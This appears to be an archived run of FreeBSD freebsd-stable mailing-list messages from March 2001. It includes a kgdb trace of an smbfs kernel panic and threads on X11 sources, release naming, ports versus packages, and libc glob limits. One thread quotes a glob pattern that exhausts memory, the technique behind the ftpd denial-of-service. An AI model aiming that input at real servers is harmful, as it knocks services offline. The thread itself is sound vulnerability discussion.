"i386-unknown-freebsd". (kgdb) symbol-file kernel.debug Reading symbols from kernel.debug...done. (kgdb) add-symbol-file /usr/ports/net/smbfs/work/smbfs-1.3.6/kernel/modules/smbfs2/smbfs.ko.debug 0xc105dc7c add symbol table from file "/usr/ports/net/smbfs/work/smbfs-1.3.6/kernel/modules/smbfs2/smbfs.ko.debug" at text_addr = 0xc105dc7c? (y or n) y Reading symbols from /usr/ports/net/smbfs/work/smbfs-1.3.6/kernel/modules/smbfs2/smbfs.ko.debug...done. (kgdb) exec-file /var/crash/kernel.0 (kgdb) core-file /var/crash/vmcore.0 IdlePTD 3764224 initial pcb at 2e2000 panicstr: malloc: wrong bucket panic messages: --- panic: malloc: wrong bucket syncing disks... 25 done Uptime: 10h43m30s dumping to dev #ad/0x20001, offset 530904 dump ata0: resetting devices .. done 254 253 252 251 250 249 248 247 246 245 244 243 242 241 240 239 238 237 236 235 234 233 232 231 230 229 228 227 226 225 224 223 222 221 220 219 218 217 216 215 214 213 212 211 210 209 208 207 206 205 204 203 202 201 200 199 198 197 196 195 194 193 192 191 190 189 188 187 186 185 184 183 182 181 180 179 178 177 176 175 174 173 172 171 170 169 168 167 166 165 164 163 162 161 160 159 158 157 156 155 154 153 152 151 150 149 148 147 146 145 144 143 142 141 140 139 138 137 136 135 134 133 132 131 130 129 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 --- #0 dumpsys () at /usr/src/sys/kern/kern_shutdown.c:469 469 if (dumping++) { (kgdb) where #0 dumpsys () at /usr/src/sys/kern/kern_shutdown.c:469 #1 0xc013e5db in boot (howto=256) at /usr/src/sys/kern/kern_shutdown.c:309 #2 0xc013e958 in poweroff_wait (junk=0xc0290161, howto=-1054625020) at /usr/src/sys/kern/kern_shutdown.c:556 #3 0xc013a152 in malloc (size=13, type=0xc1054260, flags=0) at /usr/src/sys/kern/kern_malloc.c:262 #4 0xc1046569 in ?? () #5 0xc1049e61 in ?? () #6 0xc1049fbe in ?? () #7 0xc104a627 in ?? () #8 0xc104a784 in ?? () #9 0xc104bcfc in ?? () #10 0xc016f9a7 in getdirentries (p=0xd00db380, uap=0xd14f3f80) at vnode_if.h:769 #11 0xc027aa31 in syscall2 (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 1278, tf_esi = 134864496, tf_ebp = -1077942852, tf_isp = -783335468, tf_ebx = 134844576, tf_edx = 134844576, tf_ecx = 0, tf_eax = 196, tf_trapno = 7, tf_err = 2, tf_eip = 134702880, tf_cs = 31, tf_eflags = 582, tf_esp = -1077942896, tf_ss = 47}) at /usr/src/sys/i386/i386/trap.c:1150 #12 0xc026d195 in Xint0x80_syscall () #13 0x8058f8e in ?? () #14 0x8058b88 in ?? () #15 0x8048a8c in ?? () #16 0x8048918 in ?? () #17 0x8048135 in ?? () (kgdb) up 11 #11 0xc027aa31 in syscall2 (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 1278, tf_esi = 134864496, tf_ebp = -1077942852, tf_isp = -783335468, tf_ebx = 134844576, tf_edx = 134844576, tf_ecx = 0, tf_eax = 196, tf_trapno = 7, tf_err = 2, tf_eip = 134702880, tf_cs = 31, tf_eflags = 582, tf_esp = -1077942896, tf_ss = 47}) at /usr/src/sys/i386/i386/trap.c:1150 1150 error = (*callp->sy_call)(p, args); (kgdb) list 1145 p->p_retval[0] = 0; 1146 p->p_retval[1] = frame.tf_edx; 1147 1148 STOPEVENT(p, S_SCE, narg); /* MP aware */ 1149 1150 error = (*callp->sy_call)(p, args); 1151 1152 /* 1153 * MP SAFE (we may or may not have the MP lock at this point) 1154 */ (kgdb) print p $1 = (struct proc *) 0xd00db380 (kgdb) print *p $2 = {p_procq = {tqe_next = 0x0, tqe_prev = 0xc02f9540}, p_list = { le_next = 0xd150b100, le_prev = 0xc02f9498}, p_cred = 0xc10a9d00, p_fd = 0xc114b200, p_stats = 0xd14f2b78, p_limit = 0xc10f6300, p_upages_obj = 0xd14dfba0, p_procsig = 0xc1205740, p_flag = 16390, p_stat = 2 '\002', p_pad1 = "\000\000", p_pid = 3689, p_hash = { le_next = 0xd00dca40, le_prev = 0xc0eb99a4}, p_pglist = {le_next = 0x0, le_prev = 0xc0f62d08}, p_pptr = 0xd150b100, p_sibling = {le_next = 0x0, le_prev = 0xd150b150}, p_children = {lh_first = 0x0}, p_ithandle = { callout = 0x0}, p_oppid = 0, p_dupfd = 0, p_vmspace = 0xd00e0800, p_estcpu = 27, p_cpticks = 27, p_pctcpu = 0, p_wchan = 0x0, p_wmesg = 0xc1051358 "90wrq", p_swtime = 0, p_slptime = 0, p_realtimer = { it_interval = {tv_sec = 0, tv_usec = 0}, it_value = {tv_sec = 0, tv_usec = 0}}, p_runtime = 738, p_uu = 0, p_su = 0, p_iu = 0, p_uticks = 0, p_sticks = 27, p_iticks = 0, p_traceflag = 0, p_tracep = 0x0, p_siglist = {__bits = {0, 0, 0, 0}}, p_textvp = 0xd00d6380, p_lock = 0 '\000', p_oncpu = 0 '\000', p_lastcpu = 0 '\000', p_rqindex = 12 '\f', p_locks = -25, p_simple_locks = 0, p_stops = 0, p_stype = 0, p_step = 0 '\000', p_pfsflags = 0 '\000', p_pad3 = "\000", p_retval = {0, 134844576}, p_sigiolst = {slh_first = 0x0}, p_sigparent = 20, p_oldsigmask = {__bits = {0, 0, 0, 0}}, p_sig = 0, p_code = 0, p_klist = { slh_first = 0x0}, p_sigmask = {__bits = {0, 0, 0, 0}}, p_sigstk = { ss_sp = 0x0, ss_size = 0, ss_flags = 4}, p_priority = 53 '5', p_usrpri = 53 '5', p_nice = 0 '\000', p_comm = "ls\000h\000er\000\000\000\000\000\000\000\000\000", p_pgrp = 0xc0f62d00, p_sysent = 0xc02c1760, p_rtprio = {type = 1, prio = 0}, p_prison = 0x0, p_args = 0xc0ed5a10, p_addr = 0xd14f2000, p_md = { md_regs = 0xd14f3fa8}, p_xstat = 0, p_acflag = 0, p_ru = 0x0, p_nthreads = 0, p_aioinfo = 0x0, p_wakeup = 0, p_peers = 0x0, p_leader = 0xd00db380, p_asleep = {as_priority = 0, as_timo = 0}, p_emuldata = 0x0} (kgdb) print args $3 = {5, 134860800, 4096, 134844596, 0, 0, 0, 0} (kgdb) print *callp $5 = {sy_narg = 4, sy_call = 0xc016f8b0 } (kgdb) down 1 #10 0xc016f9a7 in getdirentries (p=0xd00db380, uap=0xd14f3f80) at vnode_if.h:769 769 rc = VCALL(vp, VOFFSET(vop_readdir), &a); (kgdb) l 764 a.a_uio = uio; 765 a.a_cred = cred; 766 a.a_eofflag = eofflag; 767 a.a_ncookies = ncookies; 768 a.a_cookies = cookies; 769 rc = VCALL(vp, VOFFSET(vop_readdir), &a); 770 return (rc); 771 } 772 struct vop_readlink_args { 773 struct vnodeop_desc *a_desc; (kgdb) print a $6 = {a_desc = 0xc02bffc0, a_vp = 0xd14a9500, a_uio = 0xd14f3f0c, a_cred = 0xc12a5a80, a_eofflag = 0xd14f3ee0, a_ncookies = 0x0, a_cookies = 0x0} (kgdb) print vp $7 = (struct vnode *) 0xd14a9500 (kgdb) print *vp $8 = {v_flag = 1, v_usecount = 6, v_writecount = 0, v_holdcnt = 1, v_id = 7201, v_mount = 0xc0fc0800, v_op = 0xc1038b00, v_freelist = { tqe_next = 0x0, tqe_prev = 0x0}, v_mntvnodes = {le_next = 0x0, le_prev = 0xd14a9464}, v_cleanblkhd = {tqh_first = 0x0, tqh_last = 0xd14a952c}, v_dirtyblkhd = {tqh_first = 0x0, tqh_last = 0xd14a9534}, v_synclist = {le_next = 0x0, le_prev = 0x0}, v_numoutput = 0, v_type = VDIR, v_un = {vu_mountedhere = 0x0, vu_socket = 0x0, vu_spec = {vu_specinfo = 0x0, vu_specnext = { sle_next = 0x0}}, vu_fifoinfo = 0x0}, v_lease = 0x0, v_lastw = 0, v_cstart = 0, v_lasta = 0, v_clen = 0, v_object = 0x0, v_interlock = { lock_data = 0}, v_vnlock = 0x0, v_tag = 24, v_data = 0xc1038100, v_cache_src = {lh_first = 0xc10c3500}, v_cache_dst = {tqh_first = 0x0, tqh_last = 0xd14a9580}, v_dd = 0xd14a9500, v_ddid = 0, v_pollinfo = { vpi_lock = {lock_data = 0}, vpi_selinfo = {si_pid = 0, si_note = { slh_first = 0x0}, si_flags = 0}, vpi_events = 0, vpi_revents = 0}, v_vxproc = 0x0} (kgdb) down 7 #3 0xc013a152 in malloc (size=13, type=0xc1054260, flags=0) at /usr/src/sys/kern/kern_malloc.c:262 262 panic("malloc: wrong bucket"); (kgdb) list 257 } 258 freep->spare0 = 0; 259 #endif /* INVARIANTS */ 260 kup = btokup(va); 261 if (kup->ku_indx != indx) 262 panic("malloc: wrong bucket"); 263 if (kup->ku_freecnt == 0) 264 panic("malloc: lost data"); 265 kup->ku_freecnt--; 266 kbp->kb_totalfree--; (kgdb) print kup $9 = (struct kmemusage *) 0x0 (kgdb) print va $10 = 0xc0ed0000 "" (kgdb) print *va $11 = 0 '\000' (kgdb) print indx $12 = 4 (kgdb) print *kup Cannot access memory at address 0x0. (kgdb) print kbp $13 = (struct kmembuckets *) 0x100 (kgdb) print *kbp Cannot access memory at address 0x100. (kgdb) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:38:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from idiom.com (idiom.com [216.240.32.1]) by hub.freebsd.org (Postfix) with ESMTP id 8AD0F37B719 for ; Sat, 17 Mar 2001 12:38:16 -0800 (PST) (envelope-from rdm@cfcl.com) Received: from cfcl.com (cpe-24-221-169-54.ca.sprintbbd.net [24.221.169.54]) by idiom.com (8.9.3/8.9.3) with ESMTP id MAA44252 for ; Sat, 17 Mar 2001 12:38:14 -0800 (PST) Received: from [192.168.168.205] (cerberus [192.168.168.205]) by cfcl.com (8.11.1/8.11.1) with ESMTP id f2HKdNL15215 for ; Sat, 17 Mar 2001 12:39:23 -0800 (PST) (envelope-from rdm@cfcl.com) Mime-Version: 1.0 Message-Id: Date: Sat, 17 Mar 2001 12:29:33 -0800 To: freebsd-stable@freebsd.org From: Rich Morin Subject: installing X11 sources? Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I tried very diligently to get a _complete_ distribution off the 4.2 installation CD-ROM. Nonetheless, it appears that I did not get any source code for the commands in /usr/X11R6/bin. Looking over the FAQ, Handbook, and CD-ROM, I don't see how I am supposed to get these. Can someone please offer me some instruction? -r -- -- http://www.cfcl.com/rdm email: rdm@cfcl.com phone: +1 650-873-7841 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:46:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id 8CBE337B718 for ; Sat, 17 Mar 2001 12:46:11 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 33176 invoked by uid 100); 17 Mar 2001 20:46:10 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15027.52498.622148.452481@guru.mired.org> Date: Sat, 17 Mar 2001 14:46:10 -0600 To: Francisco Reyes Cc: Mike Meyer , Haikal Saadh , Subject: Re: 4.3-BETA In-Reply-To: References: <15026.62584.999579.19774@guru.mired.org> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Francisco Reyes types: > On Fri, 16 Mar 2001, Mike Meyer wrote: > > That suggestion isn't inappropriate. On the other hand the label "-RC" > > (release candidate) stil generates problems, so I'm not sure it would > > work. I suspect that *any* change in name will generate "I tried to > > get -STABLE, and got -FOO" messages. Not changing it would make life > > difficult for users who *wanted* to know they were getting a BETA or > > RC version. > > > > Possibly this information needs to go in the handbook on tracking > > -STABLE, rather than a FAQ. > > On another thread someone mentioned making a change to motd, but we know > that this may not work if people don't read mergemaster, or have their own > motd. That's actually better than changing the handbook, as there are places outside of the FreeBSD web site that have instructions on tracking -STABLE. > How about changing the buildworld and kernelconf targets to support having > a message at the end? This would be a general purpose tool which could be > used not only for going into new releases or for other matters. > Even simpler change those targets to point the user to read > /usr/src/UPDATING. This doesn't belong in UPDATING. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:50:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-202.dsl.lsan03.pacbell.net [63.207.60.202]) by hub.freebsd.org (Postfix) with ESMTP id 47E0837B718 for ; Sat, 17 Mar 2001 12:50:43 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id D8AF366B25; Sat, 17 Mar 2001 12:50:41 -0800 (PST) Date: Sat, 17 Mar 2001 12:50:41 -0800 From: Kris Kennaway To: Alexandr Kovalenko Cc: freebsd-stable@freebsd.org Subject: Re: Not only ftpd's problem with ls */../*..... Message-ID: <20010317125041.D22316@mollari.cthul.hu> References: <69456482176.20010317211056@yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="zCKi3GIZzVBPywwA" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <69456482176.20010317211056@yahoo.com>; from neve_ripe@yahoo.com on Sat, Mar 17, 2001 at 09:10:56PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --zCKi3GIZzVBPywwA Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Mar 17, 2001 at 09:10:56PM +0200, Alexandr Kovalenko wrote: > Dear Sirs, >=20 > problem with glob is not only ftpd's problem. >=20 > The folowing was run from regular user... >=20 > time ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* > Out of memory. > 8.990u 64.850s 1:57.38 62.9% 0+0k 0+0io 2784pf+10305w There are lots of ways you can use up lots of memory from a shell. Use resource limits if you care. Kris --zCKi3GIZzVBPywwA Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6s84hWry0BWjoQKURAgzqAJ4tNkmXZ6R0iVD1+mIIwxqcfVTnsACg77kW AN8ZO10pbKkhSR8f3lAjdFE= =x68x -----END PGP SIGNATURE----- --zCKi3GIZzVBPywwA-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 12:53:55 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-202.dsl.lsan03.pacbell.net [63.207.60.202]) by hub.freebsd.org (Postfix) with ESMTP id 55DCE37B719 for ; Sat, 17 Mar 2001 12:53:50 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id E833566B25; Sat, 17 Mar 2001 12:53:49 -0800 (PST) Date: Sat, 17 Mar 2001 12:53:49 -0800 From: Kris Kennaway To: Eric M Logan Cc: "freebsd-stable@FreeBSD.ORG" Subject: Re: ports vs. packages... Message-ID: <20010317125349.E22316@mollari.cthul.hu> References: <3AB3C1C2.67E1AB9B@yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="ylS2wUBXLOxYXZFQ" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3AB3C1C2.67E1AB9B@yahoo.com>; from eric_m_logan@yahoo.com on Sat, Mar 17, 2001 at 11:57:54AM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --ylS2wUBXLOxYXZFQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sat, Mar 17, 2001 at 11:57:54AM -0800, Eric M Logan wrote: > Can anyone tell me if there's any advantage(s) to installing > applications from the ports collection as opposed to just using the > available packages. This is of course, aside from the ability to > manipulate a variable or two or when there are no precompiled binaries > available. It just seems to me that using packages is so much quicker > and more convenient. Would compiling from the ports collection > implement some enhancements for your particular processor for instance? > Any help would be appreciated. Thanks. There are three main benefits I can think of: * You get to choose your compiler settings. This includes things like -march=<...> to optimize for your processor (e.g. check out the CPUTYPE setting in /etc/defaults/make.conf on 4.3) * There is always a lag of about 2 days between when a port is available and when the package is rebuilt from it. This may be relevant for updates you really want/need, like security or bugfix updates. * You have finer control over build knobs, e.g. some ports adapt themselves to what other stuff you have installed on the system (GNOME, esound, etc) and will configure themselves to use it. There are lots of "manual" knobs for enabling/disabling features too. Kris --ylS2wUBXLOxYXZFQ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6s87dWry0BWjoQKURAurTAKDoBl3GGHFnT/zxzqw79o8jUxKSfwCgjhrm eNpnJ3eqpI/BmCYz6uKRX2w= =sY0P -----END PGP SIGNATURE----- --ylS2wUBXLOxYXZFQ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 13: 4:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id A5FF537B71A for ; Sat, 17 Mar 2001 13:04:24 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 52711 invoked by uid 100); 17 Mar 2001 21:04:23 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15027.53590.973143.605983@guru.mired.org> Date: Sat, 17 Mar 2001 15:04:22 -0600 To: Eric M Logan Cc: "freebsd-stable@FreeBSD.ORG" Subject: Re: ports vs. packages... In-Reply-To: <3AB3C1C2.67E1AB9B@yahoo.com> References: <3AB3C1C2.67E1AB9B@yahoo.com> X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Eric M Logan types: > Can anyone tell me if there's any advantage(s) to installing > applications from the ports collection as opposed to just using the > available packages. This is of course, aside from the ability to > manipulate a variable or two or when there are no precompiled binaries > available. It just seems to me that using packages is so much quicker > and more convenient. Would compiling from the ports collection > implement some enhancements for your particular processor for instance? > Any help would be appreciated. Thanks. Setting the processor type you compile for is one of the variable manipulations that you asked not to hear about. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 13: 7:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 4125337B719 for ; Sat, 17 Mar 2001 13:07:45 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id NAA01029; Sat, 17 Mar 2001 13:06:14 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda01027; Sat Mar 17 13:06:01 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2HL5um12168; Sat, 17 Mar 2001 13:05:56 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdw12165; Sat Mar 17 13:05:13 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2HL5DI02589; Sat, 17 Mar 2001 13:05:13 -0800 (PST) Message-Id: <200103172105.f2HL5DI02589@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdYd2586; Sat Mar 17 13:05:12 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: Alexandr Kovalenko Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Not only ftpd's problem with ls */../*..... In-reply-to: Your message of "Sat, 17 Mar 2001 21:10:56 +0200." <69456482176.20010317211056@yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 17 Mar 2001 13:05:12 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <69456482176.20010317211056@yahoo.com>, Alexandr Kovalenko writes: > Dear Sirs, > > problem with glob is not only ftpd's problem. > > The folowing was run from regular user... > > time ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* > Out of memory. > 8.990u 64.850s 1:57.38 62.9% 0+0k 0+0io 2784pf+10305w A patch was applied to libc yesterday. Shells, however, do their own globbing. This is not an issue for interactive users and cron jobs because of login.conf. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 13:10:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id AD11937B719 for ; Sat, 17 Mar 2001 13:10:35 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id NAA01035; Sat, 17 Mar 2001 13:08:14 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda01032; Sat Mar 17 13:08:03 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f2HL7wa12189; Sat, 17 Mar 2001 13:07:58 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdk12187; Sat Mar 17 13:07:14 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.3/8.9.1) id f2HL7Ea02611; Sat, 17 Mar 2001 13:07:14 -0800 (PST) Message-Id: <200103172107.f2HL7Ea02611@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdAs2602; Sat Mar 17 13:07:08 2001 X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: schubert To: "Juha Saarinen" Cc: "Alexandr Kovalenko" , freebsd-stable@FreeBSD.ORG Subject: Re: Not only ftpd's problem with ls */../*..... In-reply-to: Your message of "Sun, 18 Mar 2001 08:18:08 +1200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 17 Mar 2001 13:07:08 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , "Juha Saarinen" wr ites: > :: problem with glob is not only ftpd's problem. > :: > :: The folowing was run from regular user... > :: > :: time ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* > :: Out of memory. > :: 8.990u 64.850s 1:57.38 62.9% 0+0k 0+0io 2784pf+10305w > > I get this: > > $ time ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* > /bin/ls: Argument list too long > > real 0m1.503s > user 0m0.195s > sys 0m1.305s > > 4.2-STABLE. > You probably have more files and directories that Alexander does. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 13:11:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from guru.mired.org (okc-65-26-235-186.mmcable.com [65.26.235.186]) by hub.freebsd.org (Postfix) with SMTP id 389B837B71B for ; Sat, 17 Mar 2001 13:11:13 -0800 (PST) (envelope-from mwm@mired.org) Received: (qmail 78891 invoked by uid 100); 17 Mar 2001 21:11:12 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15027.54000.578061.623441@guru.mired.org> Date: Sat, 17 Mar 2001 15:11:12 -0600 To: Rich Morin Cc: freebsd-stable@freebsd.org Subject: Re: installing X11 sources? In-Reply-To: References: X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Rich Morin types: > I tried very diligently to get a _complete_ distribution off the 4.2 > installation CD-ROM. Nonetheless, it appears that I did not get any > source code for the commands in /usr/X11R6/bin. Looking over the FAQ, > Handbook, and CD-ROM, I don't see how I am supposed to get these. Can > someone please offer me some instruction? The X on the distribution is a package, even though it's bundled like it's part of FreeBSD. You'll find that recent FreeBSD distributions don't include sources to any packages :-(. You can get the source to a package by finding it's port directory, and doing "make patch" - or a similar target - in that directory. For the X on the distribution, that's /usr/ports/x11/XFree86. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 13:36:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id A896A37B719 for ; Sat, 17 Mar 2001 13:36:44 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2HLZgT96041; Sat, 17 Mar 2001 13:35:42 -0800 (PST) (envelope-from dillon) Date: Sat, 17 Mar 2001 13:35:42 -0800 (PST) From: Matt Dillon Message-Id: <200103172135.f2HLZgT96041@earth.backplane.com> To: Cy Schubert - ITSD Open Systems Group Cc: "Juha Saarinen" , "Alexandr Kovalenko" , freebsd-stable@FreeBSD.ORG Subject: Re: Not only ftpd's problem with ls */../*..... References: <200103172107.f2HL7Ea02611@cwsys.cwsent.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG These glob patches to libc are totally inappropriate. If there is a problem with DOS attacks in ftp, the solution is to add a simple API call to set the limit (the default being unlimited) and then make ftp use it. Screwing over every single program that uses the libc globing interface 'by default' is not the solution. Assuming that people will not use this interface to glob more then 16384 files is insane. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 14:42:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aeon.conundrum.com (aeon.conundrum.com [216.191.219.140]) by hub.freebsd.org (Postfix) with ESMTP id C5D9E37B71A for ; Sat, 17 Mar 2001 14:42:50 -0800 (PST) (envelope-from mattp@conundrum.com) Received: from smtp.conundrum.com (smtp.conundrum.com [216.191.219.134]) by aeon.conundrum.com (8.9.3/8.9.2) with ESMTP id RAA78341 for ; Sat, 17 Mar 2001 17:42:49 -0500 (EST) (envelope-from mattp@conundrum.com) Date: Sat, 17 Mar 2001 17:42:48 -0500 (EST) From: Matt of the Long Red Hair To: freebsd-stable@freebsd.org Subject: SRA auth implementation in telnet broken Message-ID: X-URL: http://www.conundrum.com/~mattp/ X-PGP-Fingerprint: 40 E8 24 BC C1 98 00 F2 56 2F F6 7B 36 34 